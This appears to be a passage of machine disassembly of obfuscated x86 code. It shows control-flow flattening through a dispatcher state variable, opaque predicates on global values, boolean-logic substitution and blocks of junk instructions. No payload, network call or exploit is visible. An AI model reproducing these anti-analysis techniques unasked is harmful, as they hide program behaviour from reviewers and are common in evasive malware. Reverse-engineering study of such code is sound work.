and ah, 1
or dh, ah
mov ch, dh
xor ch, 0xff
mov ah, al
xor ah, ch
and ah, al
mov ch, 1
xor ch, 1
and ch, 1
mov al, 1
xor al, 1
and al, 1
or ch, al
mov bl, 1
xor bl, 1
mov al, ch
xor al, bl
and al, ch
xor dh, 0xff
xor dh, 1
and dh, 0xff
mov ch, dl
and ch, ah
xor dl, ah
or ch, dl
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x778], ah
mov bl, dh
xor bl, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
and al, dl
mov bh, bl
and bh, 0xff
and dh, dl
or ah, al
mov al, byte [ebp - 0x778]
or bh, dh
mov dh, byte [ebp - 0x777]
xor ah, bh
or al, bl
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and ch, bl
mov al, ah
xor al, 0xff
and al, 0xff
and ah, bl
or dl, ch
or al, ah
xor dl, al
mov ah, dh
xor ah, 0xff
xor ah, 0
and ah, 0
mov ch, 1
xor ch, 0
and ch, 1
mov bh, 1
xor bh, 1
mov bl, bh
and bl, 0
mov al, dh
xor al, 0xff
and al, 0xff
and dh, bh
or ch, bl
or al, dh
xor ch, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, dl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, dl
and ah, ch
or al, ah
xor dl, 0xff
mov dh, al
xor dh, dl
and dh, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov dl, cl
and dl, ah
or al, dl
mov byte [ebp - 0x774], al
mov dl, dh
xor dl, 0xff
and dl, 1
mov ch, 1
xor ch, 1
mov ah, dh
and ah, ch
or dl, ah
mov bh, 1
xor bh, 0
and bh, 1
mov ch, 1
xor ch, 1
mov bl, ch
and bl, 0
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or bh, bl
or ah, ch
xor bh, ah
xor al, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 0
or al, ch
or ah, 0
xor al, 0xff
and al, ah
xor cl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov ah, dl
xor ah, 0xff
mov bl, 1
xor bl, 0
mov ch, 1
xor ch, 1
or ah, bl
or ch, 1
xor ah, 0xff
and ah, ch
mov byte [ebp - 0x772], ah
xor dh, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 1
or dh, ch
or ah, 1
xor dh, 0xff
and dh, ah
mov ah, al
xor ah, 0xff
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0x773], ch
mov bl, 1
xor bl, 0
mov ch, ah
and ch, 0
and al, bl
mov byte [ebp - 0x776], al
mov al, byte [ebp - 0x773]
and al, 0
mov byte [ebp - 0x775], al
mov al, byte [ebp - 0x776]
and cl, bl
or ch, al
mov al, byte [ebp - 0x775]
or al, cl
mov cl, byte [ebp - 0x774]
xor ch, al
mov al, byte [ebp - 0x773]
or ah, al
mov al, byte [ebp - 0x772]
xor ah, 0xff
or bl, 0
and ah, bl
or ch, ah
mov ah, al
and ah, dh
xor al, dh
or ah, al
mov bl, ch
xor bl, 0xff
and bl, 0
mov dh, 1
xor dh, 0
and ch, dh
mov al, ah
xor al, 0xff
and al, 0
and ah, dh
or bl, ch
or al, ah
xor bl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x771], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
mov al, dl
and al, 0
mov ch, ah
and ch, 0
and bh, dl
or cl, al
mov al, byte [ebp - 0x771]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd3ecd472
mov ecx, 0x60fc4abf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor esi, esi
sub esi, 0x752bb35b
sub esi, 0x7aa8175b
add esi, 0x752bb35b
mov edx, ecx
sub edx, 0x1d4b1b99
add edx, esi
add edx, 0x1d4b1b99
xor esi, esi
sub esi, 0x6c27fa4
add edx, esi
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x6c27fa4
add esi, edx
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edx
add esi, 0
mov edi, 0xa666825
add edi, 0
sub edi, 0x7aa8175b
sub edi, 0xa666825
xor edx, edx
sub edx, esi
xor esi, esi
sub esi, edi
add edx, esi
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, 0x2bcae6b3
sub edx, esi
add edx, 0x2bcae6b3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
cmp eax, 0xa
setl cl
mov byte [ebp - 0x7f1], cl
mov ch, dl
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
mov dh, dl
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov ah, 1
xor ah, 1
xor ch, 0xff
mov al, 1
xor al, 1
or ah, ch
or al, 1
xor ah, 0xff
and ah, al
mov al, 1
xor al, 1
and al, 1
mov ch, 1
xor ch, 1
and ch, 1
or al, ch
xor al, 0xff
mov ch, dl
xor ch, al
and ch, dl
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov byte [ebp - 0x7e1], al
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov al, cl
and al, ch
or ah, al
mov bl, 1
xor bl, 0
xor ah, 0xff
mov al, 1
xor al, 1
or bl, ah
or al, 1
xor bl, 0xff
and bl, al
mov bh, 1
xor bh, 0
and bh, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bh, ch
or al, ah
xor bh, al
mov ah, bh
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 1
and cl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or cl, dh
or ah, ch
xor cl, ah
xor cl, 0xff
mov ch, 1
xor ch, 0
mov ah, 1
xor ah, 0
or cl, ch
or ah, 0
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x7f8], cl
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 1
mov cl, ah
and cl, 0xff
and bl, ch
mov byte [ebp - 0x7fa], bl
mov bl, dh
and bl, 0xff
and al, ch
mov byte [ebp - 0x7f9], al
mov al, byte [ebp - 0x7fa]
or cl, al
mov al, byte [ebp - 0x7f9]
or bl, al
mov al, byte [ebp - 0x7f8]
xor cl, bl
or ah, dh
xor ah, 0xff
or ch, 1
and ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
mov byte [ebp - 0x7f7], ah
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x7f7]
or bl, bh
xor ah, bl
or al, dh
xor al, 0xff
or ch, 1
and al, ch
or ah, al
mov ch, cl
xor ch, 0xff
mov al, ah
and al, ch
xor ah, 0xff
and cl, ah
or al, cl
mov byte [ebp - 0x7e3], al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
mov bh, 1
xor bh, 0
xor cl, 0xff
mov al, 1
xor al, 1
or bh, cl
or al, 1
xor bh, 0xff
and bh, al
mov cl, 1
xor cl, 0
and cl, 0
mov ah, 1
xor ah, 0
mov ch, ah
and ch, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, 1
xor ch, 1
and ch, 0
mov dh, 1
xor dh, 0
mov bl, dh
and bl, 1
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or ch, bl
or ah, dh
xor ch, ah
mov dh, 1
xor dh, 0
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0x7f4], ah
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ah, bh
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bl, ah
and bl, 0
and bh, ch
mov byte [ebp - 0x7f6], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x7f5], al
mov al, byte [ebp - 0x7f6]
or bl, al
mov al, byte [ebp - 0x7f5]
or bh, al
mov al, byte [ebp - 0x7f4]
xor bl, bh
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or bl, ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov ch, 1
xor ch, 1
mov dh, ah
and dh, 0xff
and al, ch
mov byte [ebp - 0x7f3], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x7f2], al
mov al, byte [ebp - 0x7f3]
and cl, ch
or dh, al
mov al, byte [ebp - 0x7f2]
or al, cl
mov cl, byte [ebp - 0x7f1]
xor dh, al
mov al, byte [ebp - 0x7e1]
or ah, bh
xor ah, 0xff
or ch, 1
and ah, ch
or dh, ah
mov ah, bl
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
and bl, bh
mov ch, dh
xor ch, 0xff
and ch, 0
and dh, bh
or ah, bl
or ch, dh
xor ah, ch
mov byte [ebp - 0x7db], ah
mov dh, al
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and al, ah
or dh, al
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
mov ah, 1
xor ah, 0
and ah, 0
mov bh, 1
xor bh, 0
mov ch, bh
and ch, 0
mov al, 1
xor al, 1
and al, 0
and bh, 1
or ah, ch
mov ch, byte [ebp - 0x7e3]
or al, bh
xor ah, al
mov al, dh
and al, bl
xor dh, bl
or al, dh
mov dh, ah
and dh, 0
xor ah, 0
or dh, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov bh, 1
xor bh, 0
and al, bh
mov bl, 1
xor bl, 1
and bl, 0
and bh, 1
or ah, al
mov al, byte [ebp - 0x7db]
or bl, bh
xor ah, bl
xor dh, 0xff
mov bl, ah
xor bl, dh
and bl, ah
mov dh, al
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
and al, ah
or dh, al
mov ah, dl
xor ah, 0xff
mov al, dh
and al, ah
xor dh, 0xff
mov ah, dl
and ah, dh
or al, ah
xor dl, 0xff
mov bh, al
xor bh, dl
and bh, al
mov dh, 1
xor dh, 1
and dh, 0
mov ah, 1
xor ah, 0
mov al, ah
and al, 1
mov dl, 1
xor dl, 1
and dl, 0
and ah, 1
or dh, al
mov al, byte [ebp - 0x7db]
or dl, ah
xor dh, dl
mov dl, ch
xor dl, 0xff
mov ah, dh
and ah, dl
xor dh, 0xff
mov dl, ch
and dl, dh
or ah, dl
xor ch, 0xff
mov dl, ah
xor dl, ch
and dl, ah
mov byte [ebp - 0x7e9], dl
mov dl, al
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
and al, ah
or dl, al
mov al, cl
xor al, 0xff
mov dh, dl
and dh, al
xor dl, 0xff
mov al, cl
and al, dl
or dh, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or dh, cl
or al, 0
xor dh, 0xff
and dh, al
mov dl, bl
xor dl, 0xff
and dl, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or dl, al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, 1
xor cl, 1
mov ch, bh
and ch, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, 1
xor al, 0
and al, 1
mov cl, 1
xor cl, 1
and cl, 0
or al, cl
mov byte [ebp - 0x7ed], al
mov ch, dl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov al, 1
xor al, 0
or ch, cl
mov cl, byte [ebp - 0x7ed]
or al, 0
xor ch, 0xff
and ch, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or bl, cl
or al, 1
xor bl, 0xff
and bl, al
mov cl, ah
xor cl, 0xff
mov al, 1
xor al, 0
mov byte [ebp - 0x7f0], al
mov al, 1
xor al, 1
mov byte [ebp - 0x7ef], al
mov al, byte [ebp - 0x7f0]
or cl, al
mov al, byte [ebp - 0x7ef]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x7ed]
mov byte [ebp - 0x7ee], cl
xor al, 0xff
mov cl, bh
xor cl, al
mov al, byte [ebp - 0x7ee]
and cl, bh
mov bh, ch
and bh, bl
xor ch, bl
or bh, ch
mov bl, al
and bl, cl
xor al, cl
or bl, al
mov cl, bh
xor cl, 0xff
and cl, 0
mov al, 1
xor al, 0
and bh, al
mov ch, bl
xor ch, 0xff
and ch, 0
and bl, al
mov al, byte [ebp - 0x7ed]
or cl, bh
or ch, bl
xor cl, ch
mov byte [ebp - 0x7ea], cl
mov cl, dl
and cl, ah
xor dl, ah
or cl, dl
mov bl, cl
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and cl, dl
or bl, cl
mov cl, 1
xor cl, 0
mov ch, al
xor ch, 0xff
mov ah, 1
xor ah, 0
mov dl, cl
and dl, 0
mov bh, ah
and bh, 0
mov byte [ebp - 0x7ec], bh
mov bh, ch
and bh, 0
and al, ah
mov byte [ebp - 0x7eb], al
mov al, byte [ebp - 0x7ec]
or dl, al
mov al, byte [ebp - 0x7eb]
or bh, al
mov al, byte [ebp - 0x7ea]
xor dl, bh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or dl, cl
xor bl, 0xff
xor dl, 0xff
mov cl, 1
xor cl, 0
or bl, dl
or cl, 0
xor bl, 0xff
and bl, cl
mov cl, al
xor cl, 0xff
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
mov bh, cl
and bh, 0xff
and al, dl
mov ch, ah
and ch, 0xff
and bl, dl
or bh, al
mov al, byte [ebp - 0x7e9]
or ch, bl
xor bh, ch
or cl, ah
xor cl, 0xff
or dl, 1
and cl, dl
or bh, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov dl, al
and dl, ah
or cl, dl
mov byte [ebp - 0x7e7], cl
mov bl, dh
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
mov cl, dh
and cl, dl
or bl, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov dl, ch
and dl, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and ch, 1
or cl, dl
mov dl, byte [ebp - 0x7e7]
or ah, ch
xor cl, ah
mov ah, 1
xor ah, 1
mov ch, dl
xor ch, ah
and ch, dl
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov dl, 1
xor dl, 1
or al, ah
or dl, 1
xor al, 0xff
and al, dl
mov byte [ebp - 0x7e8], al
mov al, 1
xor al, 1
mov dl, bl
xor dl, al
and dl, bl
xor dh, 0xff
mov al, cl
xor al, 0xff
mov ah, 1
xor ah, 1
or dh, al
mov al, byte [ebp - 0x7e8]
or ah, 1
xor dh, 0xff
and dh, ah
mov ah, ch
and ah, al
xor ch, al
mov al, byte [ebp - 0x7e7]
or ah, ch
mov ch, dl
and ch, dh
xor dl, dh
or ch, dl
mov dh, ah
xor dh, 0xff
mov dl, ch
and dl, dh
xor ch, 0xff
and ah, ch
or dl, ah
mov byte [ebp - 0x7e2], dl
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x7e6], ch
mov ah, bl
xor ah, 0xff
mov dl, 1
xor dl, 1
and ch, 0xff
and al, dl
mov dh, ah
and dh, 0xff
and bl, dl
or ch, al
mov al, byte [ebp - 0x7e6]
or dh, bl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 1
and al, dl
or ch, al
mov dl, ch
xor dl, 0xff
and dl, 0
mov ah, 1
xor ah, 0
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dl, ch
or al, ah
xor dl, al
mov ah, 1
xor ah, 1
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, ah
and ch, 0
mov al, dh
and al, 1
mov byte [ebp - 0x7e5], al
mov al, bl
and al, 0
mov byte [ebp - 0x7e4], al
mov al, byte [ebp - 0x7e5]
and cl, dh
or ch, al
mov al, byte [ebp - 0x7e4]
or al, cl
mov cl, byte [ebp - 0x7e3]
xor ch, al
mov al, byte [ebp - 0x7e2]
or ah, bl
xor ah, 0xff
or dh, 0
and ah, dh
or ch, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 1
or dl, ch
or ah, 1
xor dl, 0xff
and dl, ah
mov dh, al
and dh, dl
xor al, dl
or dh, al
mov dl, bh
xor dl, 0xff
and dl, 1
mov ah, 1
xor ah, 1
mov al, bh
and al, ah
or dl, al
xor dl, 0xff
mov al, dh
xor al, dl
and al, dh
mov ah, dh
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and dh, ch
mov dl, 1
xor dl, 1
and dl, 0
and ch, 1
or ah, dh
or dl, ch
xor ah, dl
xor bh, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or bh, ah
or dl, 0
xor bh, 0xff
and bh, dl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x7e1]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov bh, al
xor bh, 0xff
mov ch, cl
xor ch, 0xff
mov ah, 1
xor ah, 0
or bh, ch
or ah, 0
xor bh, 0xff
and bh, ah
mov ah, al
xor ah, 0xff
mov bl, cl
and bl, ah
xor cl, 0xff
and al, cl
or bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 1
mov cl, al
and cl, 0xff
and bh, ah
mov dh, ch
and dh, 0xff
and bl, ah
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or ah, 1
and al, ah
or cl, al
mov bl, cl
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
mov ch, cl
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bl, ch
or al, ah
xor bl, al
xor bl, 0xff
xor bl, 0
and bl, 0
mov ch, 1
xor ch, 0
and ch, 0
mov ah, 1
xor ah, 0
mov dh, ah
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ah, 1
or ch, dh
or al, ah
xor ch, al
mov ah, ch
xor ah, 0xff
mov al, cl
xor al, ah
and al, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dh, 1
xor dh, 1
mov bh, dh
and bh, 1
mov ah, 1
xor ah, 1
and ah, 0xff
and dh, 1
or cl, bh
or ah, dh
xor cl, ah
mov ah, 1
xor ah, 0
mov bh, cl
xor bh, ah
and bh, cl
mov cl, 1
xor cl, 1
xor ch, 0xff
mov ah, 1
xor ah, 1
or cl, ch
or ah, 1
xor cl, 0xff
and cl, ah
mov byte [ebp - 0x7de], cl
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and bl, ch
mov byte [ebp - 0x7e0], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x7df], al
mov al, byte [ebp - 0x7e0]
or ah, al
mov al, byte [ebp - 0x7df]
or bl, al
mov al, byte [ebp - 0x7de]
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov cl, bh
xor cl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov ch, cl
and ch, 0
and bh, dh
mov byte [ebp - 0x7dd], bh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0x7dc], al
mov al, byte [ebp - 0x7dd]
or ch, al
mov al, byte [ebp - 0x7dc]
or bh, al
mov al, byte [ebp - 0x7db]
xor ch, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or ch, cl
mov dh, ah
xor dh, 0xff
mov cl, ch
and cl, dh
xor ch, 0xff
and ah, ch
or cl, ah
mov ah, 1
xor ah, 1
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
or ah, dh
or ch, 0
xor ah, 0xff
and ah, ch
mov dh, 1
xor dh, 1
mov ch, al
and ch, dh
xor al, 0xff
and al, 1
or ch, al
mov al, ah
and al, ch
xor ah, ch
or al, ah
mov ch, al
xor ch, 0xff
and ch, 1
mov ah, 1
xor ah, 1
and al, ah
or ch, al
mov ah, cl
xor ah, 0xff
mov al, ch
and al, ah
xor ch, 0xff
mov ah, cl
and ah, ch
or al, ah
xor cl, 0xff
mov ah, al
xor ah, cl
and ah, al
mov al, dl
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov cl, 1
xor cl, 0
or al, ch
or cl, 0
xor al, 0xff
and al, cl
mov ch, dl
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and dl, ah
or cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xefdd750f
mov ecx, 0x45f814f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov eax, dword [0x63d5c4]
mov ecx, dword [0x63d5c0]
xor esi, esi
sub esi, 0xceaa57c3
mov edx, eax
sub edx, esi
add edx, 0x18159d62
sub edx, 0xd662d137
sub edx, 0x18159d62
xor esi, esi
sub esi, 0xceaa57c3
add edx, esi
add edx, 0x6e42bee6
add edx, 0x804d5cf
sub edx, 0x6e42bee6
xor esi, esi
sub esi, 1
add edx, esi
xor esi, esi
sub esi, 0x804d5cf
add edx, esi
xor edi, edi
sub edi, 0xd662d137
add edi, 0
xor esi, esi
sub esi, edi
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dl, al
and dl, ch
or ah, dl
mov ch, cl
xor ch, 0xff
and ch, 0
mov dh, 1
xor dh, 0
mov bl, cl
and bl, dh
mov dl, 1
xor dl, 1
and dl, 0
and dh, 1
or ch, bl
or dl, dh
xor ch, dl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
and dh, 1
or dl, dh
mov bl, ah
and bl, ch
xor ah, ch
or bl, ah
mov ch, dl
and ch, 1
xor dl, 1
or ch, dl
mov dl, bl
xor dl, 0xff
and dl, 0
mov dh, 1
xor dh, 0
and bl, dh
mov ah, 1
xor ah, 1
and ah, 0
and dh, 1
or dl, bl
or ah, dh
xor dl, ah
xor dl, 0xff
xor ch, 0xff
mov ah, 1
xor ah, 0
or dl, ch
or ah, 0
xor dl, 0xff
and dl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
mov ch, al
and ch, dh
or ah, ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov dh, 1
xor dh, 1
and dh, 1
mov ch, 1
xor ch, 1
and ch, 1
or dh, ch
mov bl, dh
xor bl, 0xff
mov ch, al
xor ch, bl
and ch, al
mov bl, cl
xor bl, 0xff
and bl, 1
mov bh, 1
xor bh, 1
mov al, cl
and al, bh
or bl, al
mov bh, 1
xor bh, 1
mov al, bl
xor al, bh
and al, bl
xor dh, 0xff
mov bh, cl
xor bh, dh
and bh, cl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov byte [ebp - 0x800], cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov ah, cl
and ah, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or ah, al
mov al, byte [ebp - 0x800]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 0
and cl, ch
or ah, cl
mov ch, al
xor ch, 0xff
mov cl, ah
and cl, ch
xor ah, 0xff
and al, ah
or cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1b3755a6
mov ecx, 0xd3109a07
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c0], eax
jmp 0x4b1f8e
mov dword [ebp - 0x1c0], 0xabfae5a4
jmp 0x4b1f8e
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0xa8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x184]
mov dword [eax], ecx
mov dword [ebp - 0x1c0], 0x98549135
jmp 0x4b1f8e
sbb ebx, 0xba
rcl esi, 0xd
inc edx
rol eax, 8
and edi, 0x4a
add edx, 0xf0
add edi, 0xed
inc edx
dec edx
bswap edx
sbb ebx, 0xa1
neg eax
neg edx
mov edi, 0x46
dec eax
bswap esi
or esi, 0x21
imul ebx
mov edi, 0x70
and esi, 0x24
dec edx
bswap eax
bswap ebx
ror edx, 0x10
rcr edi, 0x10
not edx
rcl eax, 0xcd
add eax, 0xb5
rcl esi, 0x82
imul edi
sbb ebx, 0xf1
inc eax
bswap edi
ror ebx, 0xae
imul edi
ror eax, 0xf3
or ebx, 0xfd
neg ebx
neg edi
rcl edi, 0xe9
add edx, 0x95
imul edx
and eax, 0x36
dec eax
dec eax
rcr edx, 0xe2
rcr edi, 0xf3
ror esi, 0x6c
sbb esi, 0xae
dec ebx
rcr eax, 0x74
ror edx, 0xfd
neg eax
dec ebx
rcr eax, 0x81
inc esi
rcr edi, 0xb6
mov esi, 0xca
neg esi
bswap eax
not ebx
neg ebx
ror edx, 0x1b
sub esi, 0xf
rcr eax, 0x89
bswap edi
not edx
imul esi
ror ebx, 0x61
dec eax
imul edi
add ebx, 0x87
rol eax, 0
sub ebx, 0x8c
sbb edx, 0xa1
rcl eax, 0xda
imul eax
not ebx
and ebx, 0x24
bswap esi
and edx, 0xc2
or edi, 0x60
neg edx
bswap edx
bswap edi
not ebx
or ebx, 0x3d
rcl edi, 0xca
dec esi
or esi, 0x1d
inc eax
bswap ebx
inc ebx
sub esi, 0xea
rcr edx, 0x76
bswap ebx
rcl eax, 0x68
or edi, 0xbe
mov esi, 0xc1
sbb edx, 0xb3
not eax
rcr edx, 0x45
sbb ebx, 0x2e
imul ebx
bswap edx
rcl ebx, 0x75
or esi, 0xda
rol esi, 0xd3
not edi
sub eax, 0x92
mov edi, 0x1c
rcr ebx, 0x34
imul ebx
inc ebx
rcl edx, 0x75
rol eax, 0x3a
neg ebx
sub esi, 0xad
and ebx, 0xb1
rcr esi, 0x15
mov ebx, 0xf4
and esi, 0xd3
not edx
dec eax
bswap eax
ror edi, 0x32
mov ebx, 0xc7
bswap esi
neg eax
imul ebx
dec ebx
imul edi
dec edi
sbb ebx, 0xde
or ebx, 0x79
rcr edx, 0x1f
neg edx
dec edx
dec ebx
dec edx
not eax
sub eax, 0xe5
not eax
neg esi
and edx, 0x3c
ror ebx, 0x19
or esi, 0x43
or esi, 0xff
inc edi
dec esi
mov ecx, eax
mov eax, dword [ebp - 0x1b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x1c0], 0xfead013b
jmp 0x4b1f8e
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x168]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x1c0], 0x1b1e6152
jmp 0x4b1f8e
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
mov ecx, dword [ecx]
shl ecx, 2
add eax, ecx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x1c0], 0x420b791c
jmp 0x4b1f8e
mov ecx, dword [0x63d5c4]
mov eax, dword [0x63d5c0]
xor esi, esi
sub esi, 0xfac1ae94
mov edx, ecx
add edx, esi
xor esi, esi
sub esi, 0xd7ffaafc
add edx, esi
xor esi, esi
sub esi, 0xfac1ae94
sub edx, esi
sub edx, 0x6f54be7c
